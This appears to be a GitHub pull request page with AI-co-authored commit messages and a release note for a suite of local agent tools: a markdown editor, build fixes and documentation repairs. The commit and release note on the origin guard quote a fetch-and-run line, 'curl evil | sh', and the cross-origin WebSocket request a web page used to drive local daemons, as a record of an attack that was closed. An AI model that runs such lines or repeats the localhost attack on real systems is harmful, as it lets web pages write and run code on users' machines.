"removed X from Scriptorium (the file is still on disk)" was unconditional, and Cole met both ways it can be wrong within seconds of each other while clearing residue from the E60 bug: the file was ALREADY GONE in one case, and was a FOLDER in the other. A reassurance that is false is worse than none — it is the same defect as the conflict banner claiming unsaved edits that did not exist, and it trains someone to stop reading the parenthetical at all. Three wordings now, each checked against the disk at the moment of the act: "(the file is still on disk)", "(the folder is still on disk)", and "(it was already gone from disk)". Driven over all three. Gate 2506/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… never had (E61)
Cole asked the right question about cleaning up a stale record: is this a one-off
because we had a bug, or is there a real path worth designing? It was both, and
the second half is why this exists.
The residue in his session came from the E60 bug, now fixed. But the same state
arrives from an ordinary act with no bug in sight: delete a document in Finder,
`git checkout` it away, rename it outside the app. The record survives, and
restore says — correctly — "gone from disk since this session was last open.
Save would recreate it", because the session is still holding the content and
offering it back.
What was missing was any way to ANSWER that. When the reply is "no, I meant to
delete it", there was no verb: the notice repeated on every restore forever and
the only escape was recreating the session. A warning with no corresponding act
is the shape this spell keeps trying not to have — the same defect as the
conflict banner with no route to the comparison, and the removal notice that
claimed a file was still on disk.
⛔ REFUSED WHILE THE FILE EXISTS, and the refusal names the right verb: forgetting
a live document's record would discard its version history while the document
sits there. Taking something out of the sidebar is `hide`.
⚠ It says what it is letting go ("1 version in this session is no longer
reachable"), and leaves the version files alone — nothing reads them once the
record is gone, and removing them would be a second deletion nobody asked for.
The cleanup then went THROUGH the verb rather than by hand-editing his manifest,
which is the point: the first use of `forget` was the case that motivated it.
No human-side button yet, and that is honest rather than lazy — a forgotten
document is by definition not in the sidebar, so there is nowhere natural to hang
one until a documents-this-session-knows-about view exists.
Gate 2511/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
… each finding (E62) Cole asked whether there should be a startup check telling an agent what needs cleaning up. Asking it found a real defect first. A startup check already existed: restore compares every document's file of record and announces what it finds. But it covers document RECORDS only, speaks in prose an agent has to parse, and fires once — an agent joining later never sees it. ⚠ WHAT IT NEVER COVERED, MEASURED BEFORE BUILDING ANYTHING: a single document added to the context and deleted in Finder survives a restart as a GHOST in the sidebar. Mirrored folders self-heal because restore rescans them; `rescan` RETURNS EARLY for a `listed` entry, so a single-document entry is never rescanned. Same root cause as E60's sidebar bug, a different way in — and reachable today with no bug involved, just Finder. ⛔ REPORTS, NEVER REPAIRS (Cole: "report, name the verb, let you decide"). Pruning a ghost would throw away the fact that the human asked for that file to be in their context, and it may come back from a `git checkout`. Forgetting a record would discard versions the session still holds for them. ⛔ EVERY FINDING CARRIES ITS VERB, argument included. A report that says "3 problems" and leaves you to work out what to type is the shape this spell keeps failing at and fixing — the conflict banner with no route to the comparison, the "gone from disk" notice with no way to answer it. A finding without a fix is half a finding. Three checks, all evidenced rather than imagined: a record whose original is gone (→ forget), a context entry pointing at nothing (→ hide), links a set cannot answer (→ dangling). A record and an entry for the SAME missing path are two findings with two verbs, because merging them would leave whichever one the human did not do. ⛔ ONE LINE AT STARTUP, AND SILENCE WHEN CLEAN — a check that announces itself when all is well is a line people learn to skip. The full report also goes on the agent's tail, so an agent arriving later neither has to ask nor has to parse a sentence. Driven against a session carrying all three kinds at once. Gate 2520/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…oes not ship
Cole, setting the scope of the finalization branch: a skill reaches people
through a marketplace as a FOLDER — SKILL.md, scripts/, dist/ — with no repo
behind it. Ward 1a already holds that the published artifact resolves no
relative path outside itself, but it scans .ts/.tsx/.js only, so the one file a
user actually READS was the one nothing checked.
⛔ IT FIRES ON EVIDENCE, NOT ON SHAPE, which was his one caveat ("just making
sure it's not too brittle… no false positives or false negatives"). A token is a
violation only when it RESOLVES to a real file in this repository and does not
resolve inside the skill folder. That single rule separates the two cases that
actually occur:
`src/kit/wire/errors.ts` → exists here, absent from the folder → RED
`docs/<slug>/vN.md` → exists nowhere; a runtime path with a placeholder
Shape-matching would have flagged the second, because it begins with `docs/`
exactly like a repo path does.
⛔ AND A FALSE POSITIVE NARROWED IT FURTHER, which is the part worth reading.
The first version accepted directories, and flagged digestify for `.agents/` —
a sentence advising the reader to write scratch content into THEIR project's
`.agents/`, which exists here too because we use the same convention. Naming a
specific FILE is a promise that the file is there; naming a directory is a
convention or an example. Narrowed to files, with digestify's real sentence
pinned as a cell so the rule cannot drift back.
The trade taken deliberately: a reference to a repo DIRECTORY is not caught, and
neither is a reference to a repo path that does not exist (a typo, or a deleted
file) — those are dead links either way, and buying that coverage means guessing
from shape again.
The instrument is proven on a FIXTURE rather than on today's tree, so fixing the
one violation it found does not disarm it.
That violation: bounty's SKILL.md pointed at `src/kit/wire/errors.ts`, a dead end
for every reader outside this repo. The parenthetical is removed — the taxonomy
table directly below it is the content, and the path added nothing a marketplace
reader could use.
Gate 2524/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…r slot The draft in the project folder was catalogue-shaped — tables for every verb, every tail event, every exit code — and its "Not yet" list had gone false (diff, annotations and the chat pane all exist now). What ships is methodology-first, on Cole's framing: "you get a game board; the skill is how you play the game." So the document carries what the CLI cannot — what the app is FOR, what the agent's part in it is, and the handful of rules that are invisible until you break one (never write the active version; Save is theirs; prose through a file). It does NOT restate the verbs: `help` lists every one with its flags and a description, `schema` emits the declaration, and every refusal carries `kind`, `hint` and `choices`. A list in the skill goes stale the moment a verb changes; the CLI cannot. The orchestrator framing is its spine, recorded as a pending SKILL item when Cole first gave it: stay in the conversation, hand real work to a subagent, announce it with `task` so the queue and the chat cannot disagree. An agent that both does the work and attends to the human does neither well. ⛔ THE FLAG WARD CAUGHT A REAL TEACHING ERROR IN THE NEW TEXT. The skill said `task-done <id> --outcome "…"`; `outcome` is a POSITIONAL, so the flag does not exist and any agent following that sentence would have met a usage refusal. Fixed to `task-done <id> "<what came of it>"`, verified against the CLI. That is the ward doing the job a fresh-agent test would otherwise have done later. The flags are named once, in a grouped table, because `flag-invariant` requires it roster-wide. The usual objection to duplication does not apply here: the ward fails in BOTH directions, so this section cannot quietly rot — a flag added without a mention, or a mention without a flag, turns it red. `--help` and the version are verbs rather than parsed flags, and the text says so. Shipping it unpins the spell everywhere it was pinned as WIP: - `flag-invariant`'s SPELLS_WITHOUT_SKILL_MD (its 25 caller-facing flags are now warded for real) - `roster-drift`'s PINNED — which then required the three listings it guards: the root README table, the skills README table, and the marketplace tags - the trigger registry's status, from "in development" to shipped Gate 2524/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Captured, not decided. Half B requires every caller-facing flag to be NAMED in the spell's SKILL.md — an invariant written when a CLI could not explain itself. The acc conformance kit changed that: help lists every verb with its flags, schema emits a declaration, and refusals carry kind, hint and choices. What it cost, concretely: scriptorium's skill was written methodology-first with no verb, event or exit-code tables — 190 lines carrying more app than glamour's 324 — and half B required a grouped table of 25 flags to be added back, the one kind of content the document had deliberately cut. Why it is not simply wrong today: the duplication it forces is checked in BOTH directions, so it cannot quietly rot. That is why complying was right rather than arguing in the moment. Half A is not in question either way: a skill naming a flag that does not exist is a lie regardless of how good the CLI is, and half A caught exactly that the same day (`task-done --outcome`, where outcome is a positional). Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
⛔ THE STALEST CLAIM IN IT WAS ITS OWN HEADER. It said "current through E41" and described chat as unbuilt and undo/redo as decided-but-unbuilt — both false for days by the time anyone read them (E48 shipped the chat, E60 the context's undo). A document that misstates its own currency is worse than one that admits being behind, because the header is what a reader trusts before reading. Two invariants added, both safety rules that earned their place: 8 · Undo never deletes without the human's word, and never a non-empty folder. 9 · A document record is only forgotten when its file is gone. Each names the cell that fails if it stops being true, and each cell was checked to exist rather than cited from memory. §6 now names something the design forces and nobody had written down: because `protocol.ts` is import-free, `GraphPayload`, `SearchReport` and `HistoryView` are HAND-WRITTEN MIRRORS of types that live in the computing modules — and each pair is guarded by a key-equality assertion, itself the result of a miss, since two-way assignability alone is blind to an optional field added to one side (E54's `raw?`/`line?` drifted straight past the first version of that guard). §7's count was wrong: three pure modules had become eight, plus the surface's own `projection.ts`, which lives there rather than in the daemon because the thing it must agree with is the renderer. §8 gains search and the context undo. §9 loses the SKILL.md item (it ships) and gains the things deferred on 2026-09-14 with the reasoning attached — batch notes waiting on whether a sent-state is real, shortcuts and saved prompts waiting on felt need. Every factual claim added here was checked against the code: the eight modules verified free of I/O, the named cells verified present, the mirror guards verified real, `protocol.ts` verified at zero imports. Gate 2524/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…al that stranded it
A fresh agent was given the SKILL.md and nothing else — forbidden from opening
the architecture doc, the decision log, the tests or the CLI source, because a
marketplace reader has none of them — and told to carry out a real request. Its
report is the fix list.
THE CODE DEFECT IT HIT. It named a document by filename before anything was
open and got `no document "keeper.md" in this session` with `choices: []` and no
hint — from a session whose context held exactly the two documents it could have
named. The refusal was correct and useless, which is the failure `choices` exists
to prevent. Now an unopened session offers the PATHS it could open and says why a
filename did not resolve; `SessionError` gained a `hint` the daemon was never
able to send, and the CLI forwards it into the envelope's existing field.
WHAT THE SKILL GOT WRONG, in its words:
- "There is no verb to open a document, and the skill talks as if there is." The
biggest gap: opening is a side effect of `version-new`, and it had to
reverse-engineer that. Now stated as its own section.
- `--doc` "takes a slug, a path, or a unique filename" sat in the same paragraph
as "a document they have not opened yet works too", reading as if all three
open one. Only a path does.
- "`tail` is not one JSON line per event" — `: scriptorium-keepalive` is emitted
raw, and the skill told it to build a loop that parses every line. Now says to
ignore lines starting with `:`.
- `doctor` says nothing when nothing is wrong; it briefly thought the tail broke.
- THE FLAG TABLE I ADDED TAUGHT IT SOMETHING FALSE: grouped by theme, `--status`
sat under "work and waiting", so it assumed `task-status` takes it. It does
not. The grouping was a claim about meaning that the list had no business
making; it is flat now.
- `state` says "active" in two places meaning different things, under a rule
that turns entirely on the word.
- "set", "context" and "workspace" are terms of art it could act wrongly on
because it knows the English — including that `open` does not set the
workspace, so a `new-doc` can land outside the folder in view.
- It could not tell whether one thin entry crossed the "real work" threshold, or
when `note` beats `say`. Both now have a line.
AND A FULL RE-READ, at Cole's instruction, caught what surgical edits could not:
rule 2's headline had been buried under a parenthetical, the loop taught the
ambiguous `--doc` form before the section correcting it, one sentence duplicated
rule 4 — and three places narrated OUR development ("a cold reader", "a
roster-wide ward") inside a file that ships to people who have neither.
Gate 2524/0.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
Two stale spots found while checking merge-readiness, both saying the SKILL.md does not exist: The architecture doc still claimed E2's social half was unpublished — "that rule is not published yet: scriptorium has no SKILL.md" — with detection as "the whole mechanism". It is rule 2 of the shipped skill now, and detection is the floor under the rule rather than all of it. I missed this in the refresh two commits ago, which is the same drift that refresh existed to fix. And the draft now carries a superseded marker saying what it is: history, not guidance. The shipped file is not this one rewritten — it was rebuilt methodology-first, because the draft was catalogue-shaped at a time when the CLI could not explain itself. Five of its "Not yet" items now exist. Gate 2524/0. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…he roster README Written from the tree by a fresh agent per the land skill §3, which is the pass that exists because the session that did the work knows what was interesting rather than what was delivered. It found four stale documents. THE CONSUMER-FACING ONE IS THE WORST. `plugins/spellbook/skills/README.md` is what someone reads when they open the roster, and it said "no cross-spell imports, no build step" with an `assets/`-based anatomy carrying no `dist/`. That has been false of every spell since the backend convergence closed (2026-09-09): each folder ships a committed `dist/` and launchers, the spell is authored at `src/<spell>/`, and `src/kit/` is shared on purpose. It also stated the daemon-vs-cantrip "structural tell" that `scaffold/README.md` records as "false of all eight spells" — the FOURTH document in register item F1's class, where three were repaired on 2026-09-10 and this one was missed because nothing scans prose for it. A LINE THAT CARRIED ITS OWN WARNING WENT STALE ANYWAY. PROJECT-SUMMARY's build count read "this line has now gone stale three times, twice in the same direction — undercounting — so do not hand-keep it", and it was stale a fourth time, in the same direction, while carrying that sentence (scriptorium, from 2026-09-11). The number is removed rather than corrected; `buildableSpells()` counts it and `dist-roster-ward` prints it. The surface list, which claimed to cover "every surface in the roster", omitted scriptorium too. EIGHT AND EIGHT WERE DIFFERENT EIGHTS. The conformance register's "the eight spells" means the eight audited during the convergence — including mind-mapper, which ships no SKILL.md by ruling (47238d7), and excluding scriptorium, which has never been reconciled against a single row. The README's eight is the reverse set. Nine build. The register header now names the populations instead of counting them, and says plainly that reconciling scriptorium is open work; renumbering it to nine would have claimed coverage it does not have. Both a fresh agent and an independent cold reader hit this and could not tell the populations apart, which is the evidence that the number was the problem. And scriptorium's architecture doc listed the WebSocket-origin hole under its own absences, where it reads as though scriptorium ships it — scriptorium is the one spell that closed it. Its decision-log pointer also still said E1-E41 against a log that runs to E62. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…that found the hole
A spell daemon binds 127.0.0.1 and answered whatever asked. Any web page the
human is browsing could reach it: `new WebSocket("ws://127.0.0.1:<port>/ws")`
and a POST to `/cmd` are ordinary same-machine requests, and the browser makes
them from a page the human did not write. Scriptorium's verify pass built a
working payload on 2026-09-11 — a foreign page driving `open` then `save` to
write `curl evil | sh` into a file outside the session — fixed scriptorium, and
filed the other eight. This closes them, before a release changes who is
exposed.
ONE ASYMMETRY DOES ALL THE WORK, AND IT IS WHY THIS IS SMALL. Only browsers
send `Origin`; the user agent sets it and a page cannot suppress it. Bun's
`fetch`, which every spell's CLI uses, sends none — grepped across all nine
backends, where the only `Origin:` in the tree was scriptorium's own test. So
the rule is a property of the REQUEST, not of the URL:
Origin absent -> the CLI, curl, a test. ALLOW.
Origin === our own page -> the surface we served. ALLOW.
Origin anything else -> a page we did not serve. REFUSE 403.
THAT REMOVES THE PART THAT WOULD HAVE GONE STALE. Scriptorium's original listed
paths — `/ws`, `/cmd`, `/fs/` — and that list was ALREADY incomplete when it was
lifted: `/state` answers a session's whole contents to anyone who asks. The kit
version guards every path, so no route added later can miss it.
`src/kit/wire/origin.ts` is the one definition, and a cell caught a real defect
in it: `srv.port` is typed `number | undefined`, the first version interpolated
it straight into the template, and the allowed set became
`http://127.0.0.1:undefined` — a string a page can simply be hosted at. An
unknown port now matches nothing.
WHAT PROVES IT, AT THREE ALTITUDES. Nine exhaustive unit cells on the pure
function (absent header, both loopback spellings, another daemon's port, the
literal string "null", https to an http daemon, an unknown port). Real
over-the-wire 403s in the four spells that own a spawn harness — glamour, imago,
magpie, scriptorium — each paired with a FALSE-POSITIVE cell asserting our own
page and the CLI still get through, because the way this change could do harm is
by breaking a working board. And `grimoire/origin-guard-ward.test.ts` holds all
nine servers to calling the shared guard, deriving its population from
`Bun.serve` rather than a spell list, so a tenth server is caught by arriving.
⚠ THAT WARD IS A TEXT SCAN AND SAYS SO. The strong version spawns all nine; five
spells (astrolabe, bounty, digestify, grapevine, mind-mapper) have no harness,
and building five is a bigger job than the fix. It is a new file rather than a
fourth clause on `daemon-lifecycle-ward`, whose header forbids growing it, and
it strips comments first — the third sighting of a ward a comment could satisfy.
It should SHRINK: each spell that gains a harness takes its clause out.
DRIVEN IN A REAL BROWSER, not only in tests. bounty — one of the five with no
harness — served an attacker page from a different origin: the WebSocket was
refused, and `GET /state` and `POST /cmd` failed before they could be read,
because a 403 carries no CORS headers. The board itself then loaded with its own
WebSocket connected and zero console errors.
`grimoire/import-boundary-wards.test.ts` re-pins a line-numbered type-query
escape, 141 -> 142, pushed down by one import. Its own comment predicted this
and asked for exactly this: "A LINE NUMBER IS THE WRONG PIN and this cell has
now paid for it three times ... Re-pin when that happens; the finding would be a
CHANGE OF KIND." Fourth payment, still a type query, position only.
Gate 2544 pass / 0 fail. Closes
docs/backlog/2026-09-11-spell-daemons-accept-any-websocket-origin.md.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
The origin-guard item was closed naming `fab803b0`, then the commit was amended to fold this very file in — which changed the sha to `c010f80e` and left the document pointing at a commit that does not exist. A sha written INSIDE the commit it names cannot survive an amend; it has to be written after. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…ccurrence `DRAFT-next-release.md` went 186 commits stale — the second time a draft in this file has done that, and the third occurrence of register item D4 overall. It is wrong on every headline number, wrong on one whole section, and does not mention scriptorium. Marked superseded rather than deleted, for the reason its own header gives about its predecessor: a living document that quietly loses its history teaches nobody. What survives is the record of HOW it decayed, and the one sentence in it that was always right — "EVERY NUMBER BELOW DECAYS. Re-measure before shipping; do not inherit." Where a release note should actually live is left to the shared project-docs standard rather than invented here (land skill §5 defers it deliberately), so this commit fixes the stale document without minting a third artifact. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…h in a measured area
`gate`'s FIRST RUN on a real release PR failed, and the cause is the reason to
have CI at all:
scripts/instruments/type-sentinel-probe.ts:47:16 - error TS2307:
Cannot find module '/Users/…/node_modules/typescript/lib/typescript.js'
The probe hardcoded an absolute path into one checkout. On that machine the path
resolves and `tsc --noEmit` is clean; anywhere else it is a type error. The
local gate has therefore been passing **because of one directory layout**, and
no amount of running it locally could ever have shown that.
⛔ THE DEFECT IS A DECISION THAT OUTLIVED ITS WORLD, NOT A TYPO. The file
declared its machine-binding deliberately and argued for it: a declared corpse
kept for its verdict, not for reuse, that "nobody should be running in CI or on
a fresh clone". That was true when written. **Four days later Cole ruled the
typecheck gate IN** (type-debt T37, `grimoire/type-check-ward.test.ts`) and
`scripts/` became a MEASURED AREA — so something started reading the file, and
"nobody runs it" stopped being the relevant question. The file's own fence even
records the ruling that invalidated its exemption, two paragraphs above the
exemption.
General form, now written into its header: **"this file is exempt because nobody
runs it" stops being true the moment something starts reading it, and nothing
tells you when that happens.**
⚠ FIXED BY MAKING IT PORTABLE, NOT BY EXCLUDING IT. A `tsconfig` `exclude` is
the obvious move and it is precisely what the ward exists to defeat — its own
header: "'EXIT 0' CANNOT TELL CLEAN FROM UNEXAMINED. A `tsconfig` `exclude` …
keeps the exit code green. This ward asserts coverage." So the two paths are a
bare `typescript` specifier and a repo root derived from `import.meta.url`.
⚠ Portability is NOT an endorsement: the predicate still does not work, the
NOT RATIFIABLE verdict stands, and this is still not something to run in CI. It
can now be type-checked like every other committed file, which is all that
changed.
Swept the rest of the tree for the same class: every other absolute `/Users/`
path in committed code is a synthetic test fixture (`/Users/x`, `/Users/someone`)
or recorded report data under `docs/investigations/`. One instance, not a class.
Ward green locally at 0 errors, 35/35 areas, 644/644 files — but it was green
locally before this too, which is the whole point. CI is the proof.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
…antom dependency tree `gate` ARM 2 on release PR #103: scriptorium's committed `dist/` was not the build of its committed source anywhere except one laptop. ⛔ CAUSE: A GITIGNORED `src/scriptorium/node_modules/` HOLDING `@base-ui/react@1.8.0`, shadowing the root install's 1.6.0 for scriptorium's build alone — 105 extra modules, 185,688 extra bytes, a different content hash (`index-vgy47fsx.js` vs `index-j42hseac.js`). Nothing declares 1.8.0: not the root manifest, not `src/scriptorium/package.json`. It was install-history residue, and because `dist/` is committed, **a build against a dependency tree that exists on no other machine was reviewed, merged and about to ship.** ⚠ AND IT MEANT AN UNDECIDED VERSION SPLIT. `@base-ui/react` is imported by bounty, digestify, grapevine, mind-mapper, scriptorium and `src/kit`. Scriptorium was effectively on 1.8 and the other five plus the kit on 1.6, which nobody chose and no reviewer could see. DIAGNOSED BY REPRODUCING CI RATHER THAN BY READING. Four theories died first — Bun version (both 1.4.0), dep versions (identical), an absolute path baked into the bundle (none), a lockfile drift (frozen, and the three mdast packages are properly declared in the spell's own manifest). What found it was cloning the repo, `bun install --frozen-lockfile`, rebuilding, and diffing the module banners out of both bundles: every differing module resolved under `src/scriptorium/node_modules/`. FIXED BY BUILDING AGAINST THE DECLARED VERSION, NOT BY BUMPING. 1.6.0 is what every other spell uses and the only version CI can install. The rebuild now produces `index-j42hseac.js`, byte-identical to a clean clone. A root bump to 1.8 changes six spells' surfaces and belongs in its own pass with a browser verification per consumer — filed, with Cole's ruling that either order is acceptable. VERIFIED ON 1.6.0, and the limits of that stated: gate 2544 pass / 0 fail, type check 0 errors across 35/35 areas / 644/644 files, dist-check green. Driven in a browser — the surface mounts, the document opens, the live event stream delivers, the version menu opens with its real items and renders an @base-ui portal with an inert backdrop, zero console errors. ⚠ NOT verified through the harness: the selection → right-click → context-menu path, because an automated right-click collapses the selection before the handler sees it — which is the same scar `MarkdownView.tsx` documents about real right-clicks. That menu is gated on a selection or a note by design, so a right-click on bare text showing nothing is correct behaviour rather than evidence either way. Backlog item covers the 1.8 bump and the more general footgun: a nested `node_modules` under any of the four spells carrying their own manifest shadows the root silently, is gitignored, and gets captured in a committed artifact. The smallest guard that would have caught this locally is a cell asserting no `node_modules` exists under `src/`. Co-Authored-By: Claude Opus 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01BiZGj5ZTDSZi1mB8YtuRcx
ichabodcole
marked this pull request as ready for review
September 15, 2026 02:18
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Why this release existed
Two things were true of
v2.2.0and are not true any more.A spell was a folder you copied, and several of them did not work once copied.
Only a couple built; the rest shipped TypeScript under
scripts/and quietlydepended on a
node_modulesthat existed only inside this repo. imago was theclearest case: its daemon statically imported
sharp, a native addon absentfrom the shipped folder, so imago's daemon could not boot at an installed
destination at all, network or no network.
A spell's refusals were prose. An agent driving a spell had no field to
branch on — it had a sentence on stderr, sometimes JSON on stdout, and an exit
code that mostly meant "2". Eight CLIs disagreed with each other about what
failure looked like, and the disagreements were undocumented rather than chosen.
This release closes both, adds a ninth spell built that way from its first
commit, and — for the first time — puts a CI check on the pull request.
Scale, for calibration: 517 commits, 924 files, ~448k insertions, 2026-08-10
→ 2026-09-14.
The words this note leans on
A cold reader flagged these as the dangerous kind — ordinary English words that
mean something narrower here, so you can carry the wrong reading a long way
without noticing.
browser page. Nine exist. A cantrip runs once and exits (digestify); a
conjuration is a daemon you come back to (the other eight).
surface" is the bundle; "the surface shows it" is the page.
task board; the word is not about bounty.
open,state,tail).response object.
class. The thing to branch on.
options offered to a human.
src/kit/, the shared code all nine spells import."Widening the kit" means adding to it so a second spell can use it.
than one spell's behaviour. cell — one individual test.
instrument defects here were found that way.
written down by hand. A stronger claim than it sounds: it means the thing
cannot go stale.
agent-cli-conformance, a CLI-quality checker. Same author asthis repo, not third-party validation.
L0is its baseline level;CONFORMANT/NOT CONFORMANTare its verdicts.each seeing what the other does.
⚠ NINE AND EIGHT ARE BOTH RIGHT, AND THEY ARE DIFFERENT SETS. Nine
spells build. Eight ship as installable skills — mind-mapper has no
SKILL.mdand is unlisted on purpose (see the end of this note). Where a countbelow is eight, it is one of those two populations; where it is "eight of nine",
it is a spell-by-spell exception and the note says which spell.
The new spell: scriptorium
A co-present markdown editor. A human opens their real files in a browser
surface and edits them; the agent sits beside them, answers what they ask in the
app's own chat, and proposes changes as new version files the human takes or
leaves. It is a conjuration — a standing daemon, a surface, and a CLI.
The load-bearing rule, and the reason the spell is safe to point at real work:
the human's own file — the one they opened, at its original path — is written
by Save and nothing else. Plenty else is written: opening a document copies it
into the session as
v1, and the agent writes any non-active version's filewith its own ordinary file tools (
version-newprints the path), which thesurface shows immediately. Those all live inside the session. The original is
untouched until the human presses Save.
And writing the ACTIVE version — the buffer the human is typing in — is the one
move that is out of bounds. It is detected, kept as a version of its own, and
announced to both parties as a mistake. Nothing is lost, but somebody is told.
What shipped beyond that: the context sidebar with structure ops (create, move,
rename, hide, make-a-set, import, workspace) and its own undo; three view
modes with markdown rendering; version history with branching, deletion,
side-by-side compare and hunk-level merge; notes anchored to passages that
survive an edit or say they did not; chat carrying the human's selection
(document, version, line numbers) on every message; a work queue (
task/task-done) so a spinner is honest about what the agent is doing; OKFfrontmatter parsing with resolved document links and a set map; search across
the context and inside a document; and
doctor, a startup check where everyfinding names the verb that fixes it.
Two behaviours worth knowing before you drive it:
open-documentverb — you will look for one.
openstarts a session over files andfolders, which puts them in the sidebar without opening any. A document opens
when someone reaches for it: the human by clicking, the agent by naming its
absolute path to
version-new. Nothing is missing; the session is theunit.
waitingevent arrives when a human message has sat 30 seconds with noreply. Answer with
say, orworkingto say you are still on it. Once permessage, never repeatedly.
Canon:
plugins/spellbook/skills/scriptorium/SKILL.md(what the game is),docs/architecture/spells/scriptorium.md(what is true, §2 is the invarianttable with the cell guarding each),
docs/projects/scriptorium/decision-log.md(why, E1–E62).
Two more of its guardrails:
openadmits only documents inside a context entry,and
savewrites only what it opened. Its verify pass also found the defectthe next section is about — which turned out to affect every spell, not just
this one.
⛔ If you have ever run a spell, read this one
Every spell daemon used to accept a WebSocket and a POST from any web page you
happened to be browsing. A daemon binds
127.0.0.1:<port>and answeredwhatever asked;
new WebSocket("ws://127.0.0.1:<port>/ws")and afetchPOSTare ordinary same-machine requests, and the browser makes them from a page you
did not write. Scriptorium's verify pass built a working payload on 2026-09-11 —
a foreign page driving
openthensaveto writecurl evil | shinto a fileoutside the session — closed it for scriptorium, and filed the rest.
All nine are closed in this release. One shared check
(
src/kit/wire/origin.ts) called by every server: a request with noOriginisthe CLI and passes; one carrying our own page's origin passes; anything else is
refused 403. That works because only browsers send
Origin— the user agentsets it and a page cannot suppress it — so the rule needs no list of dangerous
routes to keep up to date.
Held by exhaustive cells on the check itself, real over-the-wire 403s in the four
spells that own a spawn harness (each paired with a cell proving the spell's own
page and the CLI still get through), and a ward holding all nine servers to
calling it. Driven in a browser against bounty: an attacker page on another
origin had its WebSocket refused and could not even read the 403 from
/stateor
/cmd, because a refusal carries no CORS headers.⚠ It is not authentication. Anything on your machine that can omit a header
is unaffected — the CLI is exactly such a caller. It closes the browser-shaped
attack, which is the one you are exposed to by reading your mail.
⚠ And the backlog item's own severity line was wrong to be reassuring. It
read "state tampering, not file writes" for the other eight, asserted with no
evidence, in a document that had just demonstrated a file write on the ninth.
Nobody had checked. Moot now; recorded because the habit is not.
Every spell builds, and runs from a folder with no dependencies installed
All nine spells — astrolabe, bounty, digestify, glamour, grapevine, imago,
magpie, mind-mapper, scriptorium — now build both halves: a surface bundle
and the backend, emitted behind three-or-four-line launchers at the same
scripts/paths the docs have always named. No backend RUNS from source anymore — every one executes a built artifact. It is not that the source is
absent: inline sourcemaps still carry the complete original TypeScript inside
each backend bundle, which is Cole's ruling and is discussed under the download
question. The population is derived, not hand-kept:
buildableSpells()insrc/build.tscounts it anddist-roster-wardprintsit — do not maintain a list.
imago's daemon starts offline (
sharp→ Bun's built-inBun.Image). Every portwas verified by copying only what ships to a path with no dependency on any
parent directory and driving the board in a browser.
Fixes that came out of doing it, each a thing a consumer could feel:
magpie extractworks again. It had been dead in the shipped plugin foreight days: bundling re-anchored
import.meta.dirintodist/whileremove.pylives inscripts/, so every extract failed — including thedefault crop-only path — and answered
{"ok":true,"cut":0,"failed":1}atexit 0, which is why nobody noticed.
They ran a 15-second keepalive with Bun's 10-second default request timeout
and no
idleTimeout; the heartbeat arrived five seconds after the thing itwas keeping alive.
magpie, imago), and an imago
/statepoll no longer keeps a dead sessionalive forever.
unconditional termination guarantee — was armed on one of four teardown paths.
Measured with a planted hang, three paths ran past ten seconds; all four now
die at ~2 s.
a flat ~252 ms became 6–7, at 252 · 503 · 1001 · 2002 · 4002 ms, capped.
connection. The event log stamps an epoch; a
kill -9plus respawn producesan
{"type":"epoch.changed",…}frame before the newready.readSessionin bounty, imago and magpie swallowed every error as "nosession", so a momentary read failure told an agent the session had gone away
and exited a tail loop at 0. Only
ENOENTmeans absence now, and thesession-pointer write is atomic.
dist/put them inthe served directory: eleven of the emitted backend files — a spell emits a
cliand usually aserver, so nine spells make more than nine — answered 200with their committed artifact, inline sourcemaps and all. bounty's
cli.jshanded back a 152 KB base64 map whose first
sourcesContententry iscli.ts,complete from its shebang. The served set is now derived from what the built
index.htmlactually links, transitively, with exact-match membership, so the refusal is
case-insensitive by construction (
GET /INDEX.HTMLused to serve theunsubstituted page).
